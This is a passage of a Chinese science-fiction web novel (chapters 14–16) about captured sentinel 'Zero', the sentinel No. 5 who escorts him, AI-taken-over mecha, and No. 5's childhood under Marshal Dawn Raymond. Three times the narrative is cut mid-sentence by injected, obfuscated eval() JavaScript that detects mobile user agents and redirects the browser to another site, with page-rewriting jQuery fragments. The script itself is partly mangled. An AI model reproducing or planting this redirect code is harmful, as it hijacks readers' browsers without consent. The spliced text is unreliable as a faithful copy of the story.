听见总统这样的命令,站在二层指挥台上的四名指挥官互相对视了一眼,然后不约而同地抬起手,覆在了面前的屏幕上。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15737977|173545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “洪荒号,启动『王权天枢』。” “声纹解锁成功,掌纹解锁成功。”一道没有任何感情起伏的少年音从总控台响起,“正在启动‘王权天枢’计划。” 与此同时,所有正在前线驾驶天将机甲作战的哨兵看着屏幕上不受控制弹出的信息皱起眉。 【怎么回事,为什么偏偏在这个时候OTA?】 【收到强制更新指令,正在云端下载最新更新……下载完毕。】 屏幕上,原本正常显示为“TJ”的天将机甲标志在一阵闪烁后变为了“TS”字样,金色的艺术字冷锐犹如利剑。 【更新成功,现在起,本机甲将由智能主脑,王权天枢系统全面接管。】 机甲的提示音突然变得冰冷而又生硬。 【感谢您为地球联合军所作的贡献。】 “……什么意思……呜呜呜呜啊啊啊!!!!” 坐在驾驶舱当中的哨兵猛地抠住脖颈上的抑制环,身体在高压电流中扭动着,眼球突出,青筋暴起,在几下抽动后不再动弹。 机甲的后脊护甲打开,椭圆形的长条状舱体从中飘了出来。 无数悬浮在宇宙中的天将机甲冷漠地看着自己曾经的主人被抑制环中断了生机,然后主动剥离了驾驶舱。 那些被放逐到太空当中的黑色驾驶舱犹如一座座残破的棺椁,在无垠的宇宙中散发出怪诞、压抑而又绝望的意味。 …… 洪荒号深处,冷色的日光灯管依次亮起,照亮了一望无际的机甲休眠仓。 与以往天兵、天将机甲的任何一个系列都截然不同,这些机甲清一色地以白色作为机体主色,而机体也变得相较以往更加修长,特别是腰腹部分做了极大的收窄,看起来轻盈了很多,形态上也更加符合人体力学了。 在所有机甲的最前方,有一架正在休眠中的白金色机甲,它的面部目镜弧线比其他标机型更加狭长,鎏金的护甲被分别加固在胸口,四肢外侧以及面部传感器下方,而在机甲主体后方,六根向外延展的银白机械羽翼正静静收拢在脊背下方,姿态端庄威严。 在它的左侧胸甲上,斜标着几个镀金的字符。 TS-001 这便是尚未公布的试验机,天枢系列新的旗舰机型。 “启动天枢一号机:米迦勒。” 伴随着洪荒号AI系统的指令传输至机甲内部,白金色机甲的头颅微微抬起,目镜中亮起淡金色的光芒。 “米迦勒,请遵循指令向目标发起攻击,你的目标是——开阳号。” “米迦勒,收到。” 清冷的男中音从人形机甲的发声腔中响起,好似真人一般生动。 洪荒号恢弘的山体下方,鳞次栉比的棱锥上下移动,所有机甲接驳通道全面开启,无数纯白机甲从超音速助推通道中飞了出来,张开机械双翼,如同流星雨一般朝着围住洪荒号的黑色包围圈扑了过去。 “看来,霍索恩·加德终于舍得把他的底牌打出来了。” 站在星图前的二号的表情并没有因为自己煽动其余亚人反叛失败而产生任何动摇,他只是注视着漆黑宇宙中伸展开那有着金色尾焰的机械六翼的白金色机甲,喃喃自语道。 “为人类伸张正义的大天使么……果然是帝国人的传统审美啊。” “主人,让我去试试它的能耐吧。”一道略有些低沉的机械音从手腕传来。 二号缓缓抬起手,指尖轻轻拂过右手手腕上的黑金色晶石手链。 “也好,那就由你去陪它玩玩吧,太一。” 14.胆小鬼 “它来了。” 乔治亚·埃弗顿正紧张地看着天空上那个芝麻大的黑点,要不了一会儿,那个黑点就会放大成一个碟型飞船降落在女神星上,然后带走哨兵零号。 “阁下确定不需要我们做任何事吗?” 他转过身去,看向站在他身后的银发青年。 大概是为了符合自己战犯的身份,青年换上了一件蓝白相间的狱服。 不得不说,这件狱服与他很是搭配,原本松垮的剪裁在那挺拔的身形支撑下都显得有型起来,藏蓝色的布料衬得青年的皮肤白得发光,狱服上的银色反光条与青年的银发简直相得益彰,在那份鹤立鸡群的英俊掩映下,就连铐在青年手腕上的引力手铐都像是某种会被有钱人疯抢的时尚单品。 “没必要做些无谓的牺牲。”沈莫玄这样说着,抬起自己的双手。 埃弗顿叹了口气,将自己的拇指摁上引力手铐中央的开关,只听见“嘀”的一声,微型引力装置被激活,金属手铐的中央亮起了一条明亮的白线,指数级增加的重量让青年的手腕顿时垂了下去,就连布鞋下的地面都豁开了几道裂纹。 “阁下……不知道是哪个新手把您的手铐能量系数调节成最强了,要不要为您调整一下引力系数……”埃弗顿一脸汗颜地抬起头。 这引力手铐是为进行了非法基因改造的犯人特别设计的,一旦微型引力装置打开,就会产生远超自重百倍的重力,让犯人的双手无法自如行动,可想而知这样沉重的镣铐戴在手腕会有多令人不适。 “不用。”沈莫玄活动了一下肩膀,“这样正好。” 一阵狂风吹乱了他额前的发丝,青年抬起眼眸,看向不远处落下的飞行器。 那是一架漆面称得上骚包的深紫色轻型星舰,舰体侧边用花体字写着勒森魃号的名字,随着星舰降落在停机坪上,底部的舷梯自动打开,落在地上,像是在发出无声的邀请。 “……” 沈莫玄面无表情地看向战舰头部驾驶室的玻璃。 在与那双冰蓝色的眼眸对视的一瞬,坐在驾驶舱上的五号用力捏住了一侧的扶手,后背的汗毛都竖起来了。 这个眼神,像……太像那个人了。 幸亏战舰外有防窥测保护膜,零号应该是看不到自己的。 五号深吸一口气,强迫自己冷静下来。 他清了清嗓子,打开扬声器。 “怎么还不上来,难道是在等我亲自下去接你吗?” 这小鬼……怎么年纪越大胆子越小了。 沈莫玄迈开脚步,在一众狱警的注视下,一步一步地走向飞船。 他手上的镣铐太重,每走一步,布鞋都会在地面上留下深深的脚印,一踩上舷梯,那合金材质的梯板便猛地凹陷下去,好在最后还是有惊无险地上了飞船。 “恭喜你们,刚刚拯救了自己和这个星球。” 飞船外的众人听着五号的声音从扬声器中传出来,舷梯在青年身后收起,舱门闭合,湛蓝的尾焰从飞船尾部的推进器喷射而出,勒森魃号再次启动,在短暂停留之后,便飞离了这个星球。 …… 听见引擎嗡鸣的声音响起,沈莫玄扭头望向一旁的圆形舷窗。 飞船很快穿越大气层,穿过卡门线来到外太空,按照经验推断,这个时候就可以开启曲率引擎朝着目的地进行跃迁,但飞船的速度却慢了下来,接入了女神星的绕星轨道。 嘀—— 门禁被解除的声音响起,沈莫玄转过身望向门口。 门后却没有任何人,只有一架简陋的筒形机器人,是最常见的那种家用送货机器人的型号。 筒形机器人缓缓地移动到沈莫玄的面前,打开了腹舱。 一个黑色的金属环正静静地躺在里面。 这是个沈莫玄很熟悉的东西——哨兵的抑制颈环。 “您好,客人,请收下您的物品。” 小机器人头顶的屏幕上冒出了一个萌萌的笑脸,这应该是它作为送货机器人的既定程序,不过在这里就显得颇为嘲讽了。 “不巧了,我现在没手拿。” 沈莫玄面无表情地看着它,把自己手腕上的引力手铐暴露在摄像头前。 “有本事,就让你的主人自己亲自来给我戴上吧。” …… “该死的,谁给他戴了个引力手铐?” 监控画面前,五号愤懑地锤了一下操作台。 原本想要先让零号戴个抑制颈环以防万无一失的,现在看来他必须先去亲自面对他了。 他从驾驶舱站起身,对着镜子理了理自己身上的太空作战服和头发,然后深吸了一口气,转身朝着底部舱室走去。 …… “初次见面,零号——还是我应该说,别来无恙啊,元帅大人。” 沈莫玄徐徐转身,看向站在门口的长发哨兵。 五号穿着深黑色的太空作战服,一头长发披散在肩上,他眉眼狭长,鼻梁秀挺,嘴唇削薄,左耳的耳骨上穿着个黑色金属环,环后用短链与耳垂下方嵌着紫色辉耀结晶的十字架耳坠相连。 他的脖子上戴着一个和六号有些类似的黑色颈环,只是颈环下方的铭牌上刻着的罗马数字是“V”。 他有一双很特别的眼眸,在灯光下像是某种上等的紫红色宝石,有着一层层的渐变效果。 沈莫玄看着面前的哨兵,一段回忆忽然涌入脑海—— “道恩,三号他打我!” 满身青紫的少年抱着流着血的断臂跑进了首长办公室,一双紫罗兰色的杏眼里盛满了水盈盈的泪珠。 “他揪我头发,还把我胳膊都打断了!” “上次你也把他腿打折了。”坐在办公桌后的男人头也不抬地看着手中的公文。 “那不一样!” “是不一样,上次你偷袭他,才成功的。” 少年抿着唇不甘心地沉默了一会儿,在这期间,他左手的断臂正在飞快地止血,伤口截面肉眼可见地长出了新的肉芽。 五号的基因中融合了裂殖血蝎,这是一种拥有断肢再生能力的雄性兵蝎,自愈能力极强。 但即便如此,受到伤害时的疼痛也是无法屏蔽的。 五号深知再不抓紧时间卖惨他就要痊愈了,于是他松开手,绕过办公桌,只手往穿着军装的银发男人身上爬。 他动作飞快,很快便娴熟地跨坐到男人大腿上,单手搂着这位联合舰队总元帅的腰,像只树袋熊一样紧紧贴着他的胸襟抱怨道,“我好痛,道恩……那些训练官都对我不好,我看得出来,他们害怕我,讨厌我。” “你又不是金子,用不着让所有人都喜欢。”男人将手绕过五号的脑袋,将面前的公文翻到下一页。 “……可他们都欺负我一个人。” “新的S级亚人胚胎繁育计划已经通过备案,等七号诞生,你可以去欺负他。” “……为什么是七号不是六号?” “六号是我领养的流浪狗,你还被它追着咬过屁股,你忘了?” 五号倏尔直起身体,“……不许再提起这件事情!道恩。” “有什么不好提的,你被咬的时候,所有人都看到了。” “就是不准提!再提我要暴走了!我发誓我真的会暴走的!” 想起这件颇有意思的往事,沈莫玄的嘴角微微勾了勾。 他的神情让面前的哨兵产生了误会。 五号眯了眯眼。 “我警告你,别想耍什么花样,别忘了,我的星舰上还搭载着反物质湮灭炮,只要我一声令下,窗外的这颗星球和上面的生物就会灰飞烟灭。” 他的话音还没落,银发青年上扬的嘴角已经沉了下去,就仿佛方才的浅笑只是五号的幻觉。 但他面无表情的时候压迫感更重了,让人心头忐忑得发闷。 五号仔细观察了一会儿,见面前的零号哨兵确实没有轻举妄动,这才稍微放松警惕,弯下身,从小机器人的腹舱中拿出那个颈环。 “感谢您的使用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15744870|173545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,记得给小筒一个好评哦~”被取走货物的小机器人用萌萌的夹子音这样说着。 五号心里想说的狠话全都梗在了喉咙里。 他踹了一脚面前的小机器人。 “一边去。” “呜呜,你好粗暴呀主人!”小机器人哭泣着转动着小轮子,簌簌地平移到角落自闭去了。 “……”五号举起手中的手环,试图找回他平时威胁别人时候的傲慢气焰,“零号,你应该还不知道这是什么吧?” “知道。”银发青年语气冷漠地打断了他,“不必废话,过来给我戴上。” “……”五号迈开的脚步停住了。 颈环明明是自己拿出去压制零号的手段,怎么现在反倒让他用上祈使句了? 他低下头瞥了眼自己手中的颈环,惊疑不定。 他怂得发指的举动已经开始让沈莫玄感到不耐了,“这不是你自己的东西吗?” “是二号给我的……谁知道那个死兄控会不会在里面动了什么手脚……”听见那熟悉的质问,五号下意识地回答。 “看来你和六号一样,都是听二号的命令行事,他就是你们行动的总指挥?” 五号欲言又止,猛地抬起头,警惕地眯起眼,“……你在对我用精神暗示?” “精神暗示?”站在舷窗前的银发青年面无表情地歪了歪头,“什么是精神暗示?” 五号:“……” 艹,零号和道恩·雷蒙德长得太像,让他差点忘了对方和自己一样是个哨兵。 可刚刚那种奇怪的感觉是怎么回事?为什么他毫无戒心地把这些情报都说出来了? 五号还没来得及想明白,穿着蓝白狱服的青年已经走到了自己面前。 一股如冬季山林般的清冽气息从他身上散发出来。 五号的表情冷了下去。 道恩是人类,他身上只有淡淡的薄荷沐浴露的香气,还有一股温暖的,更加好闻的属于他自己的气息。 五号喜欢趴在那位元帅的身上被他抱着,不论何时,男人身上的气息总能平复他脑海中的躁动,这种没有任何肌肤接触的嗅觉安抚甚至比那些无能向导的疏导更为有用。 但眼前的哨兵身上却散发出一股凛冽的雪松信息素的味道,如同站在食物链顶端的鹰隼,地位分明地表露出了同类请勿靠近的讯号。 就是这点将两者彻底区分开来。 他不是道恩,他们只是长得像而已。 五号的视线落在零号狱服领口上方露出的那半截雪白的脖颈上。 青年喉结下的皮肤蔓延着淡青色的血管,正随着脉搏轻微地起伏。 五号的鼻翼翕动了一下,哨兵敏锐的嗅觉让他从其中嗅到了一股甜香。 五号的瞳孔猛烈地收缩了一下,在某一刻如同诡异的冷血动物一般缩成了针状。 这是道恩身上的气息…… 他的血液,对亚人而言是最为甜美的陷阱,也是无法拒绝的诱饵。 五号猛地攥紧了手中的颈环。 他不是道恩他不是道恩他不是道恩…… 他无数次地提醒自己。 “……”沈莫玄垂下眼眸,看了一眼被五号拿在手里的颈环,和僵立在原地不知道在想什么的哨兵,缓缓开口,“所以,你到底要不要给我戴上这个东西?” 五号猛地回过神,单手抓住银发哨兵的肩膀将他推到了墙上。 他狠狠地瞪着他。 “不要试图激怒我,零号!” “现在女神星就在飞船下方,如果你敢反抗我,我就——” “我连动都没动。”在他再次重复强调自己的威胁之前,沈莫玄打断了他。 他的语速依然保持着刚才那样平稳的状态,甚至比刚才还放缓了一点,像是在敷衍一个无理取闹的小孩。 “还是说,你需要我……自己把脖子凑过去?” 青年这样说着,果真倾斜身体,朝着五号慢慢靠了过去。 “像这样?” 15.催眠 零号的身形比同为哨兵的五号要更加高出几厘米,他越是靠近,那股咄咄逼人的气势就变得愈发明显。 随着两人之间的距离越来越近,越来越近……五号脑海中警铃大响,几乎完全忘记了眼前的人是个戴着引力手铐几乎无法动弹的犯人。 他果断抬起手,将手上的颈环扣到了对方脖子上。 冰冷的金属贴合到银发青年喉结下方的皮肤上,智能锁扣在后颈闭合,传来嘀的一声轻响。 沈莫玄倾身的动作停下了,他低下头,看着这位长大之后变得比小时候更加任性的紫眸哨兵,淡声道。 “现在,满意了?” 指尖从颈环光滑的表面缓缓划过,那严丝合缝的锁扣终于平复了五号心中的不安。 紧绷的神经松懈下来,他挑起唇,终于有勇气羞-辱一下面前的零号哨兵,“我说零号前辈,你到底知不知道你现在的处境?” 他伸出掌心贴着青年身上单薄的狱服,从他的脖颈滑向那紧实宽阔的胸膛,掀起他的衣摆,仔细检查他的腰腹的每一寸肌肉纹理,就好像那里面能掖着一叠刀片似的。 “转过身去,背对我。”他道。 沈莫玄深深看了他一眼,如他所言,背过身去。 五号看着在他面前毫无防备地袒露出后背的哨兵,目光微闪。 他的手掌贴合着对方脊背隆起的肌肉线条,顺着脊椎一路往下摸索,大腿两侧的口袋,小腿的裤腿内侧……每一处有可能隐匿武器的地方都没有放过。 可却一无所获。 五号从半蹲着的姿势站起。 “你好像很失望?” 沈莫玄扭过头,看着他的表情,开口道。 五号皮笑肉不笑地说着,“前辈如此配合倒是省了我的麻烦……那就麻烦你在接下来的航程里老实呆在这个房间里了,别忘了这里有监控,识相的,就不要动什么歪脑筋,否则,高压电的滋味可不好受。” 说罢,他便冷哼一声,转身离开了,只留下靠在墙上的银发青年一人在这间舱室。 …… 沈莫玄有些不确定五号脑子里的寄生蝎到底有没有起作用,为什么感觉他比六号还要神经质,像是内分泌失调了似的。 咔哒。 预定的时间已到,引力手铐上的白光闪烁了两下,然后暗了下去,锁扣自动弹开。 沈莫玄用余光瞥了一眼墙壁上的监控摄像头,扭过头,看向正在角落处在待机状态的小机器人。 他指尖微动,将卡在手铐与手腕缝隙当中的微型储存器握在了手心。 …… 银叶星位于银河系的银晕外围,从骷髅星云通过曲率引擎前往那里大概需要四个半标准时。 驾驶室的舱门被打开,一辆圆筒形小机器人缓缓地驶入其中,来到驾驶座上的五号身后。 “主人,请用餐。” 五号转过身去,将营养液从小机器人的腹舱中取出。 他撕开营养液的包装口,凑过去抿了一口,随即皱了皱眉。 “这是什么味道的营养液,难吃死了。” “是苦瓜味的。”机器人屏幕上出现一个微笑的表情,“苦瓜可以降火,主人脾气这么暴躁,需要多吃一些降火的食物。” “……你是在报复我吗?”五号打量着面前的小机器人。 “怎么会呢,小筒才不会计较主人踢了我一脚的事情呢。” 五号反手把营养液直接丢进了垃圾箱里,坐回驾驶座。 “滚下去。” “好的,主人有需要再呼唤我哦。” 小机器人缓缓地移动到舱室角落,一动不动,仿佛进入了待机模式。 没吃到营养液的五号一肚子气不知道怎么撒,看着监控画面里正在底仓靠着墙闭目养神的零号,恶向胆边生,伸手摸向了一旁的抑制环控制器。 不知道这张冷淡高矜的脸上出现隐忍痛苦的神色,会是一种什么样的感觉呢? 五号眼中闪过一丝难以遏制的恶意,拇指悄然移动到了红色的电流惩戒按键上。 “主人,小筒突然想起,仓库里还有荔枝味的营养液,您要试试看吗?” 一道声音忽然从身后响起,五号一激灵,差点把控制器给摔了。 他扭过头看向角落不知道为何从待机状态被重新激活的小机器人。 “……你为什么会突然说话?” “小筒是担心主人不吃营养液会饿呀。” "我不饿。"五号皱起眉,来到小机器人旁边,绕着它上下打量了一番,“你有多久没有被送去检修了?” “上周刚刚检修完成哦。”小机器人回答,“主人是不想让我自我启动吗?您可以对我说‘关闭主动唤醒’,来关闭这个新功能。” 看来是新功能OTA了,五号放下了戒心。 “走开,不要呆在驾驶室,没有我的指令不要出现在我面前。” “好的主人。” 小机器人原地转了半圈,缓缓地驶出驾驶室。 “……” 哪里怪怪的。 五号看着远去的小机器人,眯了眯眼。 就在这时,屏幕上响起了一个新的通讯请求。 五号将脑海中一闪而逝的怀疑抛之脑后,来到环形屏幕前,接通了通讯。 二号的全息投影出现在了面前。 “零号呢?” “已经接到他了。”紫眸哨兵一边这样说着,一边把监控画面切给他看,“哝。” 见到那熟悉的身影,二号的第一反应是怔忪了一下。 但他很快回过神来。 “你给他戴了抑制环?” “不戴的话我要怎么控制他?”五号反问。 “……”二号没有回答,但从他的神色来看,他并不赞同这样的做法。 “喂——”五号被他气笑了,“死兄控,东西不是你给我的吗,现在摆脸色给谁看?” “颈环只是给你以防万一用的……你仓库里不是有强力催眠剂吗?为什么不给他喝那个?” “那家伙刚从低温休眠醒过来没多久,再吃催眠剂,要是服药过量死了怎么办?” 五号反驳了一句,紧接着意识到自己这样的说法好像在关心零号的身体情况似的,又梗着脖子补充道,“再说,凭什么我们脖子上都有这个该死的项圈,就他没有?” “你已经把颈环锁死了?” “……没有。”五号偏开头,“只是设了一个静态密钥——我说,你要不要管这么宽?” 二号表情不变,“我只是想要提醒你,别忘了零号是完成我们计划的关键。” 五号的眸光闪了闪,“知道了,等回到银叶星我会通知你过来把人领走。” 正这样说着,通讯器那边传来了一连串爆炸的声响,通讯画面出现了一连串的雪花干扰信号,二号的身影似乎晃动了一下。 “暂时不用滋滋滋滋……让他先在你那里待一会儿吧,等到时机成熟,我会让三号来接人。” 五号歪了歪头,露出一个幸灾乐祸的笑容,“看来你那边进展不是很顺利啊,怎么,新总统打造的天枢机甲大军有些棘手?” “不过是靠机海战术拖延时间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15759208|173545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 罢了。”二号的语气淡漠,“洪荒号早晚会被攻破,这一点轮不到你来担心——你现在要做的,就是看好零号。” 五号早就习惯了他那副目中无人的样子,不以为意地耸了耸肩。 “放心,既然戴上了颈环,他翻不出什么浪花。” “别大意滋滋滋滋……” 二号似乎还想说些什么,但通讯却已经在又一声巨响中断开,大屏幕重新回归一成不变的星际航线图。 “我看别大意的人应该是你才对吧……” 五号嘟囔了一句,将视线从那无聊的航线图上移开,重新看向监控画面中的银发青年。 监控器正好对着零号哨兵,他盘腿靠在房间一侧的墙面上,被引力手铐靠住的双手放在身前,神态松弛地闭着双眼,似乎并不烦恼自己此刻面临的困境。 这个角度也很像道恩…… 五号自顾自对着画面发呆,完全忘记了方才想要利用抑制环控制器捉弄对方的事情。 舷窗外,飞船寂静无声地穿过银河系外围的射电辐射区,这里的星体密度很低,四周只笼罩着一些黯淡如雾的球状星团。 船舱内的光线被调节得有些昏暗,引擎工作的电磁音犹如催眠的白噪音,五号突然有些犯困,看着看着,他的眼皮便耷拉下来,靠在座椅上睡了过去。 …… 五号做了个梦,梦中,他回到了小时候。 那时候他刚从实验室出来没多久,战斗经验一片空白就被赶鸭子上架地丢进了残酷的训练场,面对远比自己凶悍百倍的成年蝎族,五号经常是四肢齐全地走上去,缺胳膊断腿地被抬下场,久而久之,便陷入了一种自我保护般的暴躁里,无论是谁,只要是活物出现在他的附近内,都会引起他的攻击。 在又一次咬伤一名训练员后,紫眸少年独自坐在观察室里,隔着厚厚的单向玻璃,几位训练员在讨论他的身体报告。 “他还是不说话吗?” “检查报告显示他的声带功能正常,他可能只是单纯不想说话。” “太可怕了,见人就咬……像是一只疯狗……” “对裂殖血蝎的基因能力测评还没结束吗?” “已经结束了,但那位大人说让我们维持这个训练强度。” “哦……那就没办法了。” 五号面无表情地玩着自己指尖的发丝。 大概是因为再生的次数过多,他的身体发育速度要远超过一般的哨兵,也因此,单向玻璃的隔音强度已经无法阻挡他听见这些研究员的议论声。 但他依然没有什么表情变化。 “元帅大人!” “元帅大人!” 观察室外的声音忽然变得严肃和紧张起来,五号蓦然扭过头,看向那倒映出他自己的单向玻璃。 玻璃中的电荷忽然发生变化,变成了清晰透明的模样,穿着蓝黑色军装的银发男人出现在另一侧。 少年站起身,双眼一眨不眨地看着对方。 男人身形高大挺拔,厚重的军装制服在宽阔的肩上勾勒出两道凌厉的直线,五颗亮闪闪的银色五角星环绕成一圈,分别点缀在两侧的肩章上。 深黑色的帽檐投下的阴影将那张不苟言笑的俊美面容切割成两部分,暴露在那冷白灯光下的是那高挺的鼻梁和削薄的嘴唇,而被笼罩在深沉的阴影当中的,则是一双锋利如冰的蓝眸。 他和自己想象中的一样,不……好像更好看一点。 五号伸出手,隔着玻璃摩挲着男人冷冽的眉眼。 这就是他的……父亲,他身体中属于人类的一半血脉的来源。 16.赐名 “打开门。”就在这时,玻璃后的男人开口了。 “长官,他还没有过禁闭观察期……” “我说,开门。” 似乎没有人敢违背那位银发元帅的命令,门很快打开了。 少年赤着脚,从洞开的门中一步一步地走出去,来到了男人身旁,仰起头看着他。 “五号,为什么要攻击研究员?”这是道恩·雷蒙德对他说的第一句话。 “那您呢?为什么要把我丢到那些怪物中间?”这是他对道恩·雷蒙德说的第一句话。 “你拥有裂殖血蝎的基因,你受伤的次数越多,自愈能力就会越强大,这是你的天赋。” 少年隐隐听见四周的议论声。 “确实,他的断肢长得一次比一次快了……” “天哪……真是可怕的能力。” 五号沉默了片刻,然后缓缓笑了起来。 是啊,他是个怪物…… 那就让他做怪物做的事情好了。 他一拳砸碎了一旁的单向玻璃,然后在研究员的尖叫声中捡起最为锋利的一块握在手中当做匕首,朝着面前的男人刺了过去。 挥至空中的手腕被一只赤红色的金属手臂握住,锋利的玻璃刃尖停滞在银发男人那双无机质似的冰蓝眼眸前方几寸,无法寸进。 咔嚓一声,手腕的骨骼碎裂,玻璃碎片在五号的闷哼声中落在地上,凭空出现在男人身旁的赤红色人形机甲转而扼住他的脖颈,将他缓缓举到了空中。 “要我替你解决这个不听话的小家伙吗,道恩?”他听见那赤红机甲用一种调笑般的语气说着。 “够了,凤凰。”男人用淡然的语气回答,“放开他吧。” “我一放开他,他还会攻击你的。” “他伤不到我。” “也是……好吧。”名为凤凰的机甲这样回答着,将五号放回了地上,然后身形消散为粒粒光点飘到了男人的左手,在他的无名指上化为了一枚嵌着红色晶石的环戒。 被放开的五号一边咳嗽一边将这一切收入眼中。 亚人本身就是可以手撕钢铁的人形兵器,面前的人类主动拒绝了契约机甲的保护,在五号看来简直是自寻死路。 在脚尖沾地的第一秒,他便再次朝着面前的男人冲了过去。 “你会后悔你做出的选择的!” 可他拳头还没来到男人面门前便静止了。 “这是……”五号惊讶地发现自己的身体僵在了原地,动弹不得。 “这是精神暗示。”男人这样说着,“我告诉你的大脑你是我的人偶,所以,现在的你只能在我的指令下行动。” “这怎么可能……” 五号抽了抽嘴角,想要反驳,但道恩·雷蒙德的指令来得更快。 “跪下。” 低磁的声音从头顶传入耳道,五号根本没有任何反抗的余地,便四肢发软地跪了下去。 身体……不听使唤了。 他的瞳孔微微收缩,冷汗从额角溢出,终于意识到了面前的人类比自己预估得还要强大。 破碎的玻璃渣刺入膝盖,造成了细小的伤口,五号身上的白袍很快就被自己的血弄脏了。 该死…… 他咬紧牙关,竭尽全力却只能动弹几下手指。 “你还没学会建立精神屏障抵抗向导的精神攻击和暗示——想要杀我,先成为一名合格的哨兵再说吧。” 道恩·雷蒙德以一种不容置喙的语气说着。 要成为一名合格的哨兵,就意味着要接受无止境的训练。 五号抬起眼珠往上看,语气不忿。 “但是……我很痛。” “痛是正常的。”男人回答,“凡事都要付出代价。” “可这不是我想要的。” “那你想要什么?” “……”五号又不说话了。 他从一出生就诞生在实验室里,有意识以来学的第一项技能就是要杀掉比他高出数倍的,有着丑陋外表和锐利尾勾的凶残怪物,他被啃噬,被刺穿,被肢解,疼痛对他而言就像是家常便饭,他哭泣,求助,尖叫,但没有人在乎。 他杀死一茬又一茬的怪物,可那些紫色的巨蝎和他一样拥有自我修复的能力……这里就像一个永无尽头的无间地狱。 他想要什么? 他也不知道他到底想要什么。 或许……他只是想要把这一切全部毁灭。 一双锃亮的皮鞋来到了他的面前,五号的身体紧绷起来,此时无论对方要对自己做什么,他都无法反抗。 可男人什么都没有做,只是抬起手,揉了揉他的脑袋。 这种抚摸并没有给他造成任何伤害,也没有带来疼痛,反倒让他感到轻飘飘的,很舒服。 少年的身体不知何时松懈下来,甚至在男人的动作停下来的时候侧过脑袋蹭了蹭对方的手,示意他继续摸不要停。 道恩·雷蒙德纵容着他,继续抚摸着他的脑袋。 “五号,我知道这些训练对你而言很难熬,但这一切并不是永无止境的。” 男人的声音低沉悦耳,带着很独特的质感,让人不禁凝神去听。 “坚持下去吧,五号,如果你能成功通过最终考核,成为一名合格的哨兵,我可以给你一个奖励。” 少年抬起头,紫红色的眼眸中不禁露出几分期待和好奇,“什么奖励?” “一个名字。” 道恩·雷蒙德的声音如同一记重锤,让五号的心脏奇怪地抽动了一下。 “一个只属于你的名字。” …… “塞拉斯(Sirius)。” 在这个名字被叫出来的那一刻,五号的身体猛地颤抖了一下,他的眼珠在眼皮下方激烈地滚动着,像是即将要从梦境中醒来,可却因为催眠剂的作用依然沉浸在深度睡眠里。 可在那一刻,潜意识的精神壁垒却已经裂开了一道细缝,一条细如牛毛的泛着蓝光的精神触丝正在哨兵毫无察觉的情况下,悄悄潜入他的意识域…… 纯白的房间里,五号坐在梳妆镜前,看着镜子里的自己,他的身形看起来要抽长了一些,容貌也比之前要更加成熟了。 “塞拉斯,你的头发太长了,剪短吧。”身后传来一道熟悉的声音。 “我不要。”少年的紫眸里顿时写满了抗拒。 和断了之后很快就会恢复的四肢不一样,头发剪短了之后长起来很慢,他好不容易才蓄了这么长的。 “那你就得学会自己扎头发。”站在他身后的银发男人拿着手中的梳子,替他梳理着脑后的发丝。 梳齿以不轻不重地力度摩擦着五号的头皮,让他像只被按摩下巴的猫咪一样惬意地眯起了眼睛。 “你替我扎不行吗?” “我不会一直在你身边。” “你不在我身边的时候,我就披着头发。” “这会妨碍你战斗。” “不会的,我现在很厉害,四号也不是我的对手。” “等你什么时候能打过三号,再说这句话吧。” 想起那个在和他徒手格斗的时候总是占据上风的三无少年,五号的脸色黑了黑,随即扬起脑袋,不服气的说道。 “那又怎么样?我才是第一个通过试炼,被你赐名的亚人。” “你现在不害怕那些裂殖血蝎了?” 男人的手掌宽大,指节修长,那是一双适合拿枪的手, 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五号将手腕上的皮筋摘下来递给他。 男人接过皮筋,将少年脑后的长发扎成一个干练的马尾。 没有了发丝的遮挡,少年的后颈便暴露在了空气中。 那里有两道淡淡的红色细纹,看起来像是一对小翅膀,被称之为蝎纹,标记着哨兵的腺体位置,在哨兵成年之后,随着信息素的分泌增加,蝎纹的颜色会变得更加鲜艳。 此刻,淡淡的紫罗兰香气从中释放出来。 裂殖血蝎是一种残暴的虫族,但五号身上的信息素味道却很淡雅,和他那柔和的相貌一般充满迷惑性。 “塞拉斯,你为什么想要被我绑定?”男人开口问道。 这个问题让少年感到有些困惑,“因为你是道恩……你是我的长官,是我的血缘上的父亲……” “如果我不绑定你,你就不会听从我的命令了吗?” “当然不是这样……我会一直听你的话……” 五号早就不再是一开始那充满戾气的亚人少年了。 “既然如此,那与我绑定与否,又有什么区别?如果你发自内心地忠诚于我,那么你自然就是我的哨兵,而不是我把精神触丝伸进你的脑子里,在你的精神域里刻下的几个生硬的指令。” 